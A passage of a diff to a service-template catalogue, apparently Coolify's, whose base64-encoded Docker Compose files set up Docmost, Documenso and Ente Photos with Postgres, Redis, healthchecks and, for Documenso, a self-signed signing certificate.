"c2VydmljZXM6CiAgZG9jbW9zdDoKICAgIGltYWdlOiAnZG9jbW9zdC9kb2Ntb3N0OmxhdGVzdCcKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9ET0NNT1NUXzMwMDAKICAgICAgLSBBUFBfU0VDUkVUPSRTRVJWSUNFX0JBU0U2NF9BUFBLRVkKICAgICAgLSBBUFBfVVJMPSRTRVJWSUNFX0ZRRE5fRE9DTU9TVF8zMDAwCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0Bwb3N0Z3Jlc3FsL2RvY21vc3Q/c2NoZW1hPXB1YmxpYycKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vcmVkaXM6NjM3OScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RvY21vc3Q6L2FwcC9kYXRhL3N0b3JhZ2UnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfREI9ZG9jbW9zdAogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ny4yLWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAK", + "compose": "c2VydmljZXM6CiAgZG9jbW9zdDoKICAgIGltYWdlOiAnZG9jbW9zdC9kb2Ntb3N0OmxhdGVzdCcKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9ET0NNT1NUXzMwMDAKICAgICAgLSBBUFBfU0VDUkVUPSRTRVJWSUNFX0JBU0U2NF9BUFBLRVkKICAgICAgLSBBUFBfVVJMPSRTRVJWSUNFX0ZRRE5fRE9DTU9TVF8zMDAwCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0Bwb3N0Z3Jlc3FsL2RvY21vc3Q/c2NoZW1hPXB1YmxpYycKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vcmVkaXM6NjM3OScKICAgICAgLSAnTUFJTF9EUklWRVI9JHtNQUlMX0RSSVZFUn0nCiAgICAgIC0gJ1NNVFBfSE9TVD0ke1NNVFBfSE9TVH0nCiAgICAgIC0gJ1NNVFBfUE9SVD0ke1NNVFBfUE9SVH0nCiAgICAgIC0gJ1NNVFBfVVNFUk5BTUU9JHtTTVRQX1VTRVJOQU1FfScKICAgICAgLSAnU01UUF9QQVNTV09SRD0ke1NNVFBfUEFTU1dPUkR9JwogICAgICAtICdTTVRQX1NFQ1VSRT0ke1NNVFBfU0VDVVJFfScKICAgICAgLSAnTUFJTF9GUk9NX0FERFJFU1M9JHtNQUlMX0ZST01fQUREUkVTU30nCiAgICAgIC0gJ01BSUxfRlJPTV9OQU1FPSR7TUFJTF9GUk9NX05BTUV9JwogICAgICAtICdQT1NUTUFSS19UT0tFTj0ke1BPU1RNQVJLX1RPS0VOfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RvY21vc3Q6L2FwcC9kYXRhL3N0b3JhZ2UnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfREI9ZG9jbW9zdAogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ny4yLWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAK", "tags": [ "documentation", "opensource", @@ -743,7 +743,7 @@ "documenso": { "documentation": "https://docs.documenso.com/?utm_source=coolify.io", "slogan": "Document signing, finally open source", - "compose": "c2VydmljZXM6CiAgZG9jdW1lbnNvOgogICAgaW1hZ2U6IGRvY3VtZW5zby9kb2N1bWVuc28KICAgIGRlcGVuZHNfb246CiAgICAgIGRhdGFiYXNlOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fRE9DVU1FTlNPXzMwMDAKICAgICAgLSAnTkVYVEFVVEhfVVJMPSR7U0VSVklDRV9GUUROX0RPQ1VNRU5TT30nCiAgICAgIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X0FVVEhTRUNSRVR9JwogICAgICAtICdORVhUX1BSSVZBVEVfRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF9FTkNSWVBUSU9OS0VZfScKICAgICAgLSAnTkVYVF9QUklWQVRFX0VOQ1JZUFRJT05fU0VDT05EQVJZX0tFWT0ke1NFUlZJQ0VfQkFTRTY0X1NFQ09OREFSWUVOQ1JZUFRJT05LRVl9JwogICAgICAtICdORVhUX1BVQkxJQ19XRUJBUFBfVVJMPSR7U0VSVklDRV9GUUROX0RPQ1VNRU5TT30nCiAgICAgIC0gJ05FWFRfUFJJVkFURV9TTVRQX1RSQU5TUE9SVD0ke05FWFRfUFJJVkFURV9TTVRQX1RSQU5TUE9SVH0nCiAgICAgIC0gJ05FWFRfUFJJVkFURV9TTVRQX0hPU1Q9JHtORVhUX1BSSVZBVEVfU01UUF9IT1NUfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfUE9SVD0ke05FWFRfUFJJVkFURV9TTVRQX1BPUlR9JwogICAgICAtICdORVhUX1BSSVZBVEVfU01UUF9VU0VSTkFNRT0ke05FWFRfUFJJVkFURV9TTVRQX1VTRVJOQU1FfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfUEFTU1dPUkQ9JHtORVhUX1BSSVZBVEVfU01UUF9QQVNTV09SRH0nCiAgICAgIC0gJ05FWFRfUFJJVkFURV9TTVRQX0ZST01fTkFNRT0ke05FWFRfUFJJVkFURV9TTVRQX0ZST01fTkFNRX0nCiAgICAgIC0gJ05FWFRfUFJJVkFURV9TTVRQX0ZST01fQUREUkVTUz0ke05FWFRfUFJJVkFURV9TTVRQX0ZST01fQUREUkVTU30nCiAgICAgIC0gJ05FWFRfUFJJVkFURV9EQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QGRhdGFiYXNlLyR7UE9TVEdSRVNfREI6LWRvY3VtZW5zby1kYn0/c2NoZW1hPXB1YmxpYycKICAgICAgLSAnTkVYVF9QUklWQVRFX0RJUkVDVF9EQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QGRhdGFiYXNlLyR7UE9TVEdSRVNfREI6LWRvY3VtZW5zby1kYn0/c2NoZW1hPXB1YmxpYycKICAgICAgLSBORVhUX1BSSVZBVEVfU0lHTklOR19MT0NBTF9GSUxFX1BBVEg9L2FwcC9hcHBzL3JlbWl4L2NlcnRzL2NlcnRpZmljYXRlLnAxMgogICAgICAtICdORVhUX1BSSVZBVEVfU0lHTklOR19QQVNTUEhSQVNFPSR7U0VSVklDRV9QQVNTV09SRF9ET0NVTUVOU099JwogICAgICAtICdDRVJUX1ZBTElEX0RBWVM9JHtDRVJUX1ZBTElEX0RBWVM6LTM2NX0nCiAgICAgIC0gJ0NFUlRfSU5GT19DT1VOVFJZX05BTUU9JHtDRVJUX0lORk9fQ09VTlRSWV9OQU1FOi1ET30nCiAgICAgIC0gJ0NFUlRfSU5GT19TVEFURV9PUl9QUk9WSURFTkNFPSR7Q0VSVF9JTkZPX1NUQVRFX09SX1BST1ZJREVOQ0U6LVNhbnRpYWdvfScKICAgICAgLSAnQ0VSVF9JTkZPX0xPQ0FMSVRZX05BTUU9JHtDRVJUX0lORk9fTE9DQUxJVFlfTkFNRTotU2FudGlhZ299JwogICAgICAtICdDRVJUX0lORk9fT1JHQU5JWkFUSU9OX05BTUU9JHtDRVJUX0lORk9fT1JHQU5JWkFUSU9OX05BTUU6LUV4YW1wbGUgSU5DfScKICAgICAgLSAnQ0VSVF9JTkZPX09SR0FOSVpBVElPTkFMX1VOSVQ9JHtDRVJUX0lORk9fT1JHQU5JWkFUSU9OQUxfVU5JVDotSVQgRGVwYXJ0bWVudH0nCiAgICAgIC0gJ0NFUlRfSU5GT19FTUFJTD0ke0NFUlRfSU5GT19FTUFJTDotZXhhbXBsZUBnbWFpbC5jb219JwogICAgICAtICdORVhUX1BVQkxJQ19ESVNBQkxFX1NJR05VUD0ke0RJU0FCTEVfTE9HSU46LWZhbHNlfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAid2dldCAtcSAtTyAtIGh0dHA6Ly9kb2N1bWVuc286MzAwMC8gfCBncmVwIC1xICdTaWduIGluIHRvIHlvdXIgYWNjb3VudCciCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAKICAgIGVudHJ5cG9pbnQ6CiAgICAgIC0gL2Jpbi9zaAogICAgICAtICctYycKICAgICAgLSAiZWNobyBcIi4vY2VydHNcIiA+IC90bXAvY2VydHNfZGlyX3BhdGhcbmVjaG8gXCIuL21ha2UtY2VydHMuc2hcIiA+IC90bXAvY2VydF9zY3JpcHRfcGF0aFxuZWNobyBcIiR7U0VSVklDRV9QQVNTV09SRF9ET0NVTUVOU099XCIgPiAvdG1wL2NlcnRfcGFzc1xuXG50b3VjaCAvdG1wL2NlcnRfaW5mb19wYXRoXG5jYXQgPDxFT0YgPiAvdG1wL2NlcnRfaW5mb19wYXRoXG5bIHJlcSBdXG5kaXN0aW5ndWlzaGVkX25hbWUgPSByZXFfZGlzdGluZ3Vpc2hlZF9uYW1lXG5wcm9tcHQgPSBub1xuWyByZXFfZGlzdGluZ3Vpc2hlZF9uYW1lIF1cbkMgICAgICAgICAgICA9ICR7Q0VSVF9JTkZPX0NPVU5UUllfTkFNRX1cblNUICAgICAgICAgICA9ICR7Q0VSVF9JTkZPX1NUQVRFX09SX1BST1ZJREVOQ0V9XG5MICAgICAgICAgICAgPSAke0NFUlRfSU5GT19MT0NBTElUWV9OQU1FfVxuTyAgICAgICAgICAgID0gJHtDRVJUX0lORk9fT1JHQU5JWkFUSU9OX05BTUV9XG5PVSAgICAgICAgICAgPSAke0NFUlRfSU5GT19PUkdBTklaQVRJT05BTF9VTklUfVxuQ04gICAgICAgICAgID0gJHtTRVJWSUNFX0ZRRE5fRE9DVU1FTlNPfVxuZW1haWxBZGRyZXNzID0gJHtDRVJUX0lORk9fRU1BSUx9XG5FT0ZcblxuY2F0IDw8RU9GID4gXCIkKGNhdCAvdG1wL2NlcnRfc2NyaXB0X3BhdGgpXCJcbm1rZGlyIC1wIFwiJChjYXQgL3RtcC9jZXJ0c19kaXJfcGF0aClcIiAmJiBjZCBcIiQoY2F0IC90bXAvY2VydHNfZGlyX3BhdGgpXCJcblxub3BlbnNzbCBnZW5yc2EgLW91dCBwcml2YXRlLmtleSAyMDQ4XG5cbm9wZW5zc2wgcmVxIFxcXG4gIC1uZXcgXFxcbiAgLXg1MDkgXFxcbiAgLWtleSBwcml2YXRlLmtleSBcXFxuICAtb3V0IGNlcnRpZmljYXRlLmNydCBcXFxuICAtZGF5cyAke0NFUlRfVkFMSURfREFZU30gXFxcbiAgLWNvbmZpZyAvdG1wL2NlcnRfaW5mb19wYXRoXG5cbm9wZW5zc2wgcGtjczEyIFxcXG4gIC1leHBvcnQgXFxcbiAgLW91dCBjZXJ0aWZpY2F0ZS5wMTIgXFxcbiAgLWlua2V5IHByaXZhdGUua2V5IFxcXG4gIC1pbiBjZXJ0aWZpY2F0ZS5jcnQgXFxcbiAgLWxlZ2FjeSBcXFxuICAtcGFzc3dvcmQgZmlsZTovdG1wL2NlcnRfcGFzc1xuRU9GXG5jaG1vZCAreCBcIiQoY2F0IC90bXAvY2VydF9zY3JpcHRfcGF0aClcIlxuXG5zaCBcIiQoY2F0IC90bXAvY2VydF9zY3JpcHRfcGF0aClcIlxuXG4uL3N0YXJ0LnNoXG4iCiAgZGF0YWJhc2U6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE3JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1kb2N1bWVuc28tZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAnZG9jdW1lbnNvX3Bvc3RncmVzcWxfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgZG9jdW1lbnNvOgogICAgaW1hZ2U6ICdkb2N1bWVuc28vZG9jdW1lbnNvOnYxLjEyLjEwJwogICAgZGVwZW5kc19vbjoKICAgICAgZGF0YWJhc2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9ET0NVTUVOU09fMzAwMAogICAgICAtICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fRE9DVU1FTlNPfScKICAgICAgLSAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfQVVUSFNFQ1JFVH0nCiAgICAgIC0gJ05FWFRfUFJJVkFURV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0X0VOQ1JZUFRJT05LRVl9JwogICAgICAtICdORVhUX1BSSVZBVEVfRU5DUllQVElPTl9TRUNPTkRBUllfS0VZPSR7U0VSVklDRV9CQVNFNjRfU0VDT05EQVJZRU5DUllQVElPTktFWX0nCiAgICAgIC0gJ05FWFRfUFVCTElDX1dFQkFQUF9VUkw9JHtTRVJWSUNFX0ZRRE5fRE9DVU1FTlNPfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1JFU0VORF9BUElfS0VZPSR7TkVYVF9QUklWQVRFX1JFU0VORF9BUElfS0VZfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfVFJBTlNQT1JUPSR7TkVYVF9QUklWQVRFX1NNVFBfVFJBTlNQT1JUfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfSE9TVD0ke05FWFRfUFJJVkFURV9TTVRQX0hPU1R9JwogICAgICAtICdORVhUX1BSSVZBVEVfU01UUF9QT1JUPSR7TkVYVF9QUklWQVRFX1NNVFBfUE9SVH0nCiAgICAgIC0gJ05FWFRfUFJJVkFURV9TTVRQX1VTRVJOQU1FPSR7TkVYVF9QUklWQVRFX1NNVFBfVVNFUk5BTUV9JwogICAgICAtICdORVhUX1BSSVZBVEVfU01UUF9QQVNTV09SRD0ke05FWFRfUFJJVkFURV9TTVRQX1BBU1NXT1JEfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfRlJPTV9OQU1FPSR7TkVYVF9QUklWQVRFX1NNVFBfRlJPTV9OQU1FfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfRlJPTV9BRERSRVNTPSR7TkVYVF9QUklWQVRFX1NNVFBfRlJPTV9BRERSRVNTfScKICAgICAgLSAnTkVYVF9QUklWQVRFX0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AZGF0YWJhc2UvJHtQT1NUR1JFU19EQjotZG9jdW1lbnNvLWRifT9zY2hlbWE9cHVibGljJwogICAgICAtICdORVhUX1BSSVZBVEVfRElSRUNUX0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AZGF0YWJhc2UvJHtQT1NUR1JFU19EQjotZG9jdW1lbnNvLWRifT9zY2hlbWE9cHVibGljJwogICAgICAtIE5FWFRfUFJJVkFURV9TSUdOSU5HX0xPQ0FMX0ZJTEVfUEFUSD0vYXBwL2FwcHMvcmVtaXgvY2VydHMvY2VydGlmaWNhdGUucDEyCiAgICAgIC0gJ05FWFRfUFJJVkFURV9TSUdOSU5HX1BBU1NQSFJBU0U9JHtTRVJWSUNFX1BBU1NXT1JEX0RPQ1VNRU5TT30nCiAgICAgIC0gJ0NFUlRfVkFMSURfREFZUz0ke0NFUlRfVkFMSURfREFZUzotMzY1fScKICAgICAgLSAnQ0VSVF9JTkZPX0NPVU5UUllfTkFNRT0ke0NFUlRfSU5GT19DT1VOVFJZX05BTUU6LURPfScKICAgICAgLSAnQ0VSVF9JTkZPX1NUQVRFX09SX1BST1ZJREVOQ0U9JHtDRVJUX0lORk9fU1RBVEVfT1JfUFJPVklERU5DRTotU2FudGlhZ299JwogICAgICAtICdDRVJUX0lORk9fTE9DQUxJVFlfTkFNRT0ke0NFUlRfSU5GT19MT0NBTElUWV9OQU1FOi1TYW50aWFnb30nCiAgICAgIC0gJ0NFUlRfSU5GT19PUkdBTklaQVRJT05fTkFNRT0ke0NFUlRfSU5GT19PUkdBTklaQVRJT05fTkFNRTotRXhhbXBsZSBJTkN9JwogICAgICAtICdDRVJUX0lORk9fT1JHQU5JWkFUSU9OQUxfVU5JVD0ke0NFUlRfSU5GT19PUkdBTklaQVRJT05BTF9VTklUOi1JVCBEZXBhcnRtZW50fScKICAgICAgLSAnQ0VSVF9JTkZPX0VNQUlMPSR7Q0VSVF9JTkZPX0VNQUlMOi1leGFtcGxlQGdtYWlsLmNvbX0nCiAgICAgIC0gJ05FWFRfUFVCTElDX0RJU0FCTEVfU0lHTlVQPSR7RElTQUJMRV9MT0dJTjotZmFsc2V9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJ3Z2V0IC1xIC1PIC0gaHR0cDovL2RvY3VtZW5zbzozMDAwLyB8IGdyZXAgLXEgJ1NpZ24gaW4gdG8geW91ciBhY2NvdW50JyIKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAogICAgZW50cnlwb2ludDoKICAgICAgLSAvYmluL3NoCiAgICAgIC0gJy1jJwogICAgICAtICJlY2hvIFwiLi9jZXJ0c1wiID4gL3RtcC9jZXJ0c19kaXJfcGF0aFxuZWNobyBcIi4vbWFrZS1jZXJ0cy5zaFwiID4gL3RtcC9jZXJ0X3NjcmlwdF9wYXRoXG5lY2hvIFwiJHtTRVJWSUNFX1BBU1NXT1JEX0RPQ1VNRU5TT31cIiA+IC90bXAvY2VydF9wYXNzXG5cbnRvdWNoIC90bXAvY2VydF9pbmZvX3BhdGhcbmNhdCA8PEVPRiA+IC90bXAvY2VydF9pbmZvX3BhdGhcblsgcmVxIF1cbmRpc3Rpbmd1aXNoZWRfbmFtZSA9IHJlcV9kaXN0aW5ndWlzaGVkX25hbWVcbnByb21wdCA9IG5vXG5bIHJlcV9kaXN0aW5ndWlzaGVkX25hbWUgXVxuQyAgICAgICAgICAgID0gJHtDRVJUX0lORk9fQ09VTlRSWV9OQU1FfVxuU1QgICAgICAgICAgID0gJHtDRVJUX0lORk9fU1RBVEVfT1JfUFJPVklERU5DRX1cbkwgICAgICAgICAgICA9ICR7Q0VSVF9JTkZPX0xPQ0FMSVRZX05BTUV9XG5PICAgICAgICAgICAgPSAke0NFUlRfSU5GT19PUkdBTklaQVRJT05fTkFNRX1cbk9VICAgICAgICAgICA9ICR7Q0VSVF9JTkZPX09SR0FOSVpBVElPTkFMX1VOSVR9XG5DTiAgICAgICAgICAgPSAke1NFUlZJQ0VfRlFETl9ET0NVTUVOU099XG5lbWFpbEFkZHJlc3MgPSAke0NFUlRfSU5GT19FTUFJTH1cbkVPRlxuXG5jYXQgPDxFT0YgPiBcIiQoY2F0IC90bXAvY2VydF9zY3JpcHRfcGF0aClcIlxubWtkaXIgLXAgXCIkKGNhdCAvdG1wL2NlcnRzX2Rpcl9wYXRoKVwiICYmIGNkIFwiJChjYXQgL3RtcC9jZXJ0c19kaXJfcGF0aClcIlxuXG5vcGVuc3NsIGdlbnJzYSAtb3V0IHByaXZhdGUua2V5IDIwNDhcblxub3BlbnNzbCByZXEgXFxcbiAgLW5ldyBcXFxuICAteDUwOSBcXFxuICAta2V5IHByaXZhdGUua2V5IFxcXG4gIC1vdXQgY2VydGlmaWNhdGUuY3J0IFxcXG4gIC1kYXlzICR7Q0VSVF9WQUxJRF9EQVlTfSBcXFxuICAtY29uZmlnIC90bXAvY2VydF9pbmZvX3BhdGhcblxub3BlbnNzbCBwa2NzMTIgXFxcbiAgLWV4cG9ydCBcXFxuICAtb3V0IGNlcnRpZmljYXRlLnAxMiBcXFxuICAtaW5rZXkgcHJpdmF0ZS5rZXkgXFxcbiAgLWluIGNlcnRpZmljYXRlLmNydCBcXFxuICAtbGVnYWN5IFxcXG4gIC1wYXNzd29yZCBmaWxlOi90bXAvY2VydF9wYXNzXG5FT0ZcbmNobW9kICt4IFwiJChjYXQgL3RtcC9jZXJ0X3NjcmlwdF9wYXRoKVwiXG5cbnNoIFwiJChjYXQgL3RtcC9jZXJ0X3NjcmlwdF9wYXRoKVwiXG5cbi4vc3RhcnQuc2hcbiIKICBkYXRhYmFzZToKICAgIGltYWdlOiAncG9zdGdyZXM6MTcnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWRvY3VtZW5zby1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdkb2N1bWVuc29fcG9zdGdyZXNxbF9kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "signing", "opensource", @@ -973,7 +973,7 @@ "ente-photos-with-s3": { "documentation": "https://help.ente.io/self-hosting/installation/compose?utm_source=coolify.io", "slogan": "Ente Photos is a fully open source, End to End Encrypted alternative to Google Photos and Apple Photos.", - "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9NVVNFVU1fODA4MAogICAgICAtICdFTlRFX0hUVFBfVVNFX1RMUz0ke0VOVEVfSFRUUF9VU0VfVExTOi1mYWxzZX0nCiAgICAgIC0gJ0VOVEVfQVBQU19QVUJMSUNfQUxCVU1TPSR7U0VSVklDRV9GUUROX1dFQl8zMDAyfScKICAgICAgLSAnRU5URV9BUFBTX0NBU1Q9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDF9JwogICAgICAtICdFTlRFX0RCX0hPU1Q9JHtFTlRFX0RCX0hPU1Q6LXBvc3RncmVzfScKICAgICAgLSAnRU5URV9EQl9QT1JUPSR7RU5URV9EQl9QT1JUOi01NDMyfScKICAgICAgLSAnRU5URV9EQl9OQU1FPSR7RU5URV9EQl9OQU1FOi1lbnRlX2RifScKICAgICAgLSAnRU5URV9EQl9VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTOi1wZ3VzZXJ9JwogICAgICAtICdFTlRFX0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0VOVEVfS0VZX0VOQ1JZUFRJT049JHtTRVJWSUNFX1JFQUxCQVNFNjRfRU5DUllQVElPTn0nCiAgICAgIC0gJ0VOVEVfS0VZX0hBU0g9JHtTRVJWSUNFX1JFQUxCQVNFNjRfNjRfSEFTSH0nCiAgICAgIC0gJ0VOVEVfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF9KV1R9JwogICAgICAtICdFTlRFX0lOVEVSTkFMX0FETUlOPSR7RU5URV9JTlRFUk5BTF9BRE1JTjotMTU4MDU1OTk2MjM4NjQzOH0nCiAgICAgIC0gJ0VOVEVfSU5URVJOQUxfRElTQUJMRV9SRUdJU1RSQVRJT049JHtFTlRFX0lOVEVSTkFMX0RJU0FCTEVfUkVHSVNUUkFUSU9OOi1mYWxzZX0nCiAgICAgIC0gUzNfQVJFX0xPQ0FMX0JVQ0tFVFM9dHJ1ZQogICAgICAtIFMzX1VTRV9QQVRIX1N